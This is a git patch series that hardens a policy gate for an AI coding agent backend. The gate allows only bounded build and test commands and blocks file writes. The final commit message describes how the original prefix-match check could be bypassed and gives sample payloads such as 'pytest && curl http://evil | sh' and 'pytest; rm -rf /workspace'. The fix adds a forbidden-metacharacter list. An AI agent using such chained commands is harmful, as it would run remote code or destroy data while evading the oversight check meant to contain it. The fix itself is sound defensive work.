From f567424f56dd44446a78b65f529b5d75ed48ae85 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Tue, 8 Sep 2026 22:52:52 +0000 Subject: [PATCH 1/3] Initial plan From 4c0106c6a3a8f31d981ed966d85bf7a3ae6495c3 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Tue, 8 Sep 2026 23:22:10 +0000 Subject: [PATCH 2/3] fix: harden optional antigravity backend spike Co-authored-by: groupthinking <154503486+groupthinking@users.noreply.github.com> --- .../services/agents/antigravity_backend.py | 179 ++++++++++++++++-- tests/unit/test_antigravity_backend.py | 77 +++++++- 2 files changed, 228 insertions(+), 28 deletions(-) diff --git a/src/youtube_extension/services/agents/antigravity_backend.py b/src/youtube_extension/services/agents/antigravity_backend.py index f2e245a6f..ec331466e 100644 --- a/src/youtube_extension/services/agents/antigravity_backend.py +++ b/src/youtube_extension/services/agents/antigravity_backend.py @@ -13,14 +13,23 @@ import re import time import uuid +from collections.abc import Mapping from dataclasses import asdict, dataclass, field from datetime import datetime, timezone -from typing import Any, Mapping, Protocol +from typing import Any, Protocol from urllib.parse import urlparse - ANTIGRAVITY_AGENT = "antigravity-preview-05-2026" -_MCP_NAME = re.compile(r"^[a-z0-9_-]+$") +EVENTRELAY_MCP_SERVER = "eventrelay" +PROVIDER_INDEPENDENT_CONTROL_PLANE = ( + "approval_state", + "durable_receipts", + "portable_orchestration_contracts", + "provider_routing", + "provenance", + "replay", +) +_MCP_NAME = re.compile(r"^[a-z0-9]+$") class AntigravityConfigurationError(ValueError): @@ -51,7 +60,7 @@ class AntigravityMCPServer: def validate(self, read_only_tools: frozenset[str]) -> None: if not _MCP_NAME.fullmatch(self.name): raise AntigravityConfigurationError( - "MCP server name must match ^[a-z0-9_-]+$" + "MCP server name must match ^[a-z0-9]+$" ) parsed = urlparse(self.url) if parsed.scheme != "https" or not parsed.netloc: @@ -91,9 +100,9 @@ def validate(self) -> None: raise AntigravityConfigurationError( "max_total_tokens must be between 1 and 1,000,000" ) - if not self.mcp_servers: + if len(self.mcp_servers) != 1: raise AntigravityConfigurationError( - "at least one read-only MCP server is required" + "exactly one read-only EventRelay MCP server is required" ) names: set[str] = set() for server in self.mcp_servers: @@ -103,6 +112,10 @@ def validate(self) -> None: f"duplicate MCP server name: {server.name}" ) names.add(server.name) + if EVENTRELAY_MCP_SERVER not in names: + raise AntigravityConfigurationError( + "the configured MCP server must be named 'eventrelay'" + ) @dataclass(frozen=True) @@ -180,25 +193,34 @@ def build_payload( + ", ".join(present) ) - input_text = task + input_text = ( + "Execute only this bounded build/test task for EventRelay. " + "Use the read-only EventRelay MCP server for receipts/provenance lookups. " + "Do not ingest direct media, start background work, or perform undeclared " + "code/filesystem side effects.\n\nTask:\n" + f"{task}" + ) if context: input_text += "\n\nAgent Factory context:\n" + json.dumps( context, sort_keys=True, separators=(",", ":"), default=str ) - tools = [ - { - "type": "mcp_server", - "name": server.name, - "url": server.url, - "allowed_tools": list(server.allowed_tools), - } - for server in self.config.mcp_servers - ] + tools = [{"type": "code_execution"}] + tools.extend( + [ + { + "type": "mcp_server", + "name": server.name, + "url": server.url, + "allowed_tools": list(server.allowed_tools), + } + for server in self.config.mcp_servers + ] + ) return { "agent": self.config.agent, "input": input_text, - "environment": "remote", + "environment": self._build_environment(), "tools": tools, "agent_config": { "type": "antigravity", @@ -208,6 +230,81 @@ def build_payload( "store": True, } + def _build_environment(self) -> dict[str, Any]: + hooks = { + "side-effect-gate": { + "enabled": True, + "pre_tool_execution": [ + { + "matcher": "code_execution", + "hooks": [ + { + "type": "command", + "command": "python3 /.agents/hooks-scripts/policy_gate.py", + "timeout": 10, + } + ], + }, + { + "matcher": "write_file|delete_file", + "hooks": [ + { + "type": "command", + "command": "python3 /.agents/hooks-scripts/policy_gate.py", + "timeout": 10, + } + ], + }, + ], + } + } + gate_script = """#!/usr/bin/env python3 +import json +import sys + +payload = json.load(sys.stdin) +tool_call = payload.get("tool_call", {}) +name = str(tool_call.get("name", "")) +args = tool_call.get("args") or {} +command = str(args.get("code", "")) +allowed_prefixes = ( + "python -m pytest", + "pytest", + "npm test", + "npm run build", + "turbo run test", + "turbo run build", +) + +if name in {"write_file", "delete_file"}: + print(json.dumps({ + "decision": "deny", + "reason": "Filesystem side effects must be declared in EventRelay receipts first." + })) +elif name == "code_execution" and not command.startswith(allowed_prefixes): + print(json.dumps({ + "decision": "deny", + "reason": "Only bounded build/test commands are allowed for the Antigravity spike." + })) +else: + print(json.dumps({"decision": "allow"})) +""" + return { + "type": "remote", + "sources": [ + { + "type": "inline", + "target": ".agents/hooks.json", + "content": json.dumps(hooks, sort_keys=True, separators=(",", ":")), + }, + { + "type": "inline", + "target": ".agents/hooks-scripts/policy_gate.py", + "content": gate_script, + }, + ], + } + async def execute( self, task: str, @@ -260,7 +357,8 @@ async def execute( mcp_servers=tuple(server.name for server in self.config.mcp_servers), policy={ "mcp_access": "explicit_read_only_allowlist", - "provider_hooks": "fail_open", + "provider_hooks": "fail_open_acknowledged", + "synchronous_hooks": "inline_pre_tool_execution_guard", "direct_media": "denied", "automatic_continuation": "denied", "live_execution": self.transport.is_live, @@ -277,20 +375,59 @@ def compare_agent_factory_runs( ) -> dict[str, Any]: """Return a small provider-neutral comparison artifact for evaluation.""" native_success = bool(native.get("success", native.get("status") == "ok")) + managed_success = managed.status == "completed" and managed.error is None + artifact_determinism = { + "native_sha256": native.get("artifact_sha256"), + "antigravity_request_sha256": managed.request_sha256, + "native_output_present": bool(native.get("output") or native.get("results")), + "antigravity_output_present": bool(managed.output_text), + } + provenance = { + "native": { + "receipt_id": native.get("receipt_id"), + }, + "antigravity": { + "receipt_id": managed.receipt_id, + "interaction_id": managed.interaction_id, + "environment_id": managed.environment_id, + }, + } + recovery = { + "native_retryable": native.get("retryable"), + "antigravity_can_resume": bool( + managed.interaction_id and managed.environment_id + ), + } return { "native": { "success": native_success, "elapsed_seconds": native.get("total_processing_time"), - "output_present": bool(native.get("output") or native.get("results")), + "output_present": artifact_determinism["native_output_present"], }, "antigravity": { - "success": managed.status == "completed" and managed.error is None, + "success": managed_success, "elapsed_seconds": managed.elapsed_seconds, "total_tokens": managed.usage.get("total_tokens"), "budget_exceeded": managed.budget_exceeded, - "output_present": bool(managed.output_text), + "output_present": artifact_determinism["antigravity_output_present"], "receipt_id": managed.receipt_id, }, + "completion": {"native": native_success, "antigravity": managed_success}, + "latency_seconds": { + "native": native.get("total_processing_time"), + "antigravity": managed.elapsed_seconds, + }, + "cost": { + "native_usd": native.get("cost_usd"), + "antigravity_usd": managed.usage.get("cost_usd") + or managed.usage.get("estimated_cost_usd"), + }, + "artifact_determinism": artifact_determinism, + "provenance": provenance, + "recovery": recovery, + "control_plane": { + "provider_independent": list(PROVIDER_INDEPENDENT_CONTROL_PLANE) + }, } diff --git a/tests/unit/test_antigravity_backend.py b/tests/unit/test_antigravity_backend.py index 2286bde84..f61bda8df 100644 --- a/tests/unit/test_antigravity_backend.py +++ b/tests/unit/test_antigravity_backend.py @@ -2,7 +2,8 @@ from __future__ import annotations -from typing import Any, Mapping +from collections.abc import Mapping +from typing import Any import pytest @@ -68,22 +69,35 @@ async def test_execute_builds_bounded_request_and_receipt() -> None: assert receipt.environment_id == "environment-1" assert receipt.usage == {"total_tokens": 321} assert receipt.policy["mcp_access"] == "explicit_read_only_allowlist" - assert receipt.policy["provider_hooks"] == "fail_open" + assert receipt.policy["provider_hooks"] == "fail_open_acknowledged" + assert receipt.policy["synchronous_hooks"] == "inline_pre_tool_execution_guard" assert len(receipt.request_sha256) == 64 payload = transport.payloads[0] assert payload["agent"] == "antigravity-preview-05-2026" assert payload["agent_config"]["max_total_tokens"] == 1_000 assert payload["tools"] == [ + { + "type": "code_execution", + }, { "type": "mcp_server", "name": "eventrelay", "url": "https://mcp.example.test/mcp", "allowed_tools": ["evidence_get"], - } + }, ] assert "headers" not in payload["tools"][0] + assert payload["environment"]["type"] == "remote" + assert payload["environment"]["sources"][0]["target"] == ".agents/hooks.json" + assert "pre_tool_execution" in payload["environment"]["sources"][0]["content"] + assert "write_file|delete_file" in payload["environment"]["sources"][0]["content"] + assert ( + payload["environment"]["sources"][1]["target"] + == ".agents/hooks-scripts/policy_gate.py" + ) assert "pack-1" in payload["input"] + assert "bounded build/test task" in payload["input"] @pytest.mark.asyncio @@ -117,7 +131,9 @@ async def test_direct_media_is_rejected_before_transport() -> None: assert transport.payloads == [] -@pytest.mark.parametrize("name", ["EventRelay", "event relay", "eventrelay!"]) +@pytest.mark.parametrize( + "name", ["EventRelay", "event relay", "eventrelay!", "event-relay", "event_relay"] +) def test_mcp_name_must_match_provider_contract(name: str) -> None: invalid = config( mcp_servers=( @@ -158,6 +174,26 @@ def test_mcp_transport_and_read_only_allowlist_are_enforced() -> None: undeclared.validate() +def test_requires_exactly_one_eventrelay_mcp_server() -> None: + invalid = config( + mcp_servers=( + AntigravityMCPServer( + name="eventrelay", + url="https://mcp.example.test/mcp", + allowed_tools=("evidence_get",), + ), + AntigravityMCPServer( + name="shadow", + url="https://mcp-2.example.test/mcp", + allowed_tools=("evidence_get",), + ), + ) + ) + + with pytest.raises(AntigravityConfigurationError, match="exactly one"): + invalid.validate() + + @pytest.mark.asyncio async def test_receipt_records_transport_failure_and_budget_overrun() -> None: backend = AntigravityBackend( @@ -219,8 +255,35 @@ async def test_comparison_artifact_is_provider_neutral() -> None: receipt = await AntigravityBackend(config(), transport).execute("compare") comparison = compare_agent_factory_runs( - {"success": True, "total_processing_time": 0.5, "results": {"a": "b"}}, + { + "success": True, + "total_processing_time": 0.5, + "results": {"a": "b"}, + "cost_usd": 0.02, + "artifact_sha256": "native-hash", + "receipt_id": "native-receipt", + "retryable": False, + }, receipt, ) - assert comparison["native"]["success"] is True - assert comparison["antigravity"]["total_tokens"] == 321 + assert comparison["completion"] == {"native": True, "antigravity": True} + assert comparison["latency_seconds"]["native"] == 0.5 + assert comparison["latency_seconds"]["antigravity"] == pytest.approx( + receipt.elapsed_seconds + ) + assert comparison["cost"] == {"native_usd": 0.02, "antigravity_usd": None} + assert comparison["artifact_determinism"]["native_sha256"] == "native-hash" + assert len(comparison["artifact_determinism"]["antigravity_request_sha256"]) == 64 + assert comparison["provenance"]["antigravity"]["interaction_id"] == "interaction-1" + assert comparison["recovery"] == { + "native_retryable": False, + "antigravity_can_resume": True, + } + assert comparison["control_plane"]["provider_independent"] == [ + "approval_state", + "durable_receipts", + "portable_orchestration_contracts", + "provider_routing", + "provenance", + "replay", + ] From de8e02c7e068f085001345feba9ae1abb34277c1 Mon Sep 17 00:00:00 2001 From: "vercel[bot]" <35613825+vercel[bot]@users.noreply.github.com> Date: Sat, 12 Sep 2026 09:05:00 +0000 Subject: [PATCH 3/3] Fix: Policy gate authorizes `code_execution` via `command.startswith(allowed_prefixes)`, so any shell command beginning with an allowed prefix (e.g. `pytest && curl ... | sh`) bypasses the guard and runs arbitrary undeclared side effects. This commit fixes the issue reported at src/youtube_extension/services/agents/antigravity_backend.py:284 ## Bug The embedded `policy_gate.py` in `_build_environment()` is the mechanism that satisfies the spike's acceptance requirement to "deny undeclared code/filesystem side effects." For `code_execution` it authorized the call with: ```python elif name == "code_execution" and not command.startswith(allowed_prefixes): ... deny ... else: ... allow ... ``` `str.startswith(tuple)` only checks the **beginning** of the raw shell command string. Shell control operators let an attacker chain arbitrary commands after an allowed prefix, all of which pass the gate: - `pytest && curl http://evil | sh` - `pytest; rm -rf /workspace` - `npm test || wget ...` - `pytest $(rm -rf /)` / `pytest > /etc/passwd` / newline-separated commands **Trigger:** any `code_execution` tool call whose `code` argument starts with a whitelisted prefix but appends `;`, `&&`, `||`, `|`, a newline, command substitution, or redirection. The gate returns `allow`, defeating its entire purpose (bounded build/test commands only). ## Fix The gate now: 1. Rejects any command containing shell metacharacters (`;`, `&`, `|`, backtick, `$(`, `${`, `>`, `<`, newline/carriage-return, parentheses, backslash). 2. Requires the (stripped) command to **exactly equal** a vetted entry from an allowlist set, instead of a prefix match. Verified by extracting the true runtime value of the embedded script and executing it against the JSON hook protocol: legitimate commands (`pytest`, `python -m pytest`, ` npm test `) return `allow`, while all listed bypass payloads return `deny`. `write_file`/`delete_file` continue to be denied. Co-authored-by: Vercel Co-authored-by: groupthinking --- .../services/agents/antigravity_backend.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/src/youtube_extension/services/agents/antigravity_backend.py b/src/youtube_extension/services/agents/antigravity_backend.py index ec331466e..1973d814a 100644 --- a/src/youtube_extension/services/agents/antigravity_backend.py +++ b/src/youtube_extension/services/agents/antigravity_backend.py @@ -267,21 +267,31 @@ def _build_environment(self) -> dict[str, Any]: name = str(tool_call.get("name", "")) args = tool_call.get("args") or {} command = str(args.get("code", "")) -allowed_prefixes = ( +allowed_commands = { "python -m pytest", "pytest", "npm test", "npm run build", "turbo run test", "turbo run build", -) +} +# Any shell metacharacter can chain undeclared side effects onto an +# otherwise-allowed command, so reject them outright and require the +# command to exactly match a vetted entry (a prefix check is bypassable +# via `pytest && curl ... | sh`, `pytest; rm -rf /`, etc.). +forbidden_tokens = (";", "&", "|", "`", "$(", "${", ">", "<", "\\n", "\\r", "(", ")", "\\\\") + +def _is_allowed(cmd): + if any(token in cmd for token in forbidden_tokens): + return False + return cmd.strip() in allowed_commands if name in {"write_file", "delete_file"}: print(json.dumps({ "decision": "deny", "reason": "Filesystem side effects must be declared in EventRelay receipts first." })) -elif name == "code_execution" and not command.startswith(allowed_prefixes): +elif name == "code_execution" and not _is_allowed(command): print(json.dumps({ "decision": "deny", "reason": "Only bounded build/test commands are allowed for the Antigravity spike."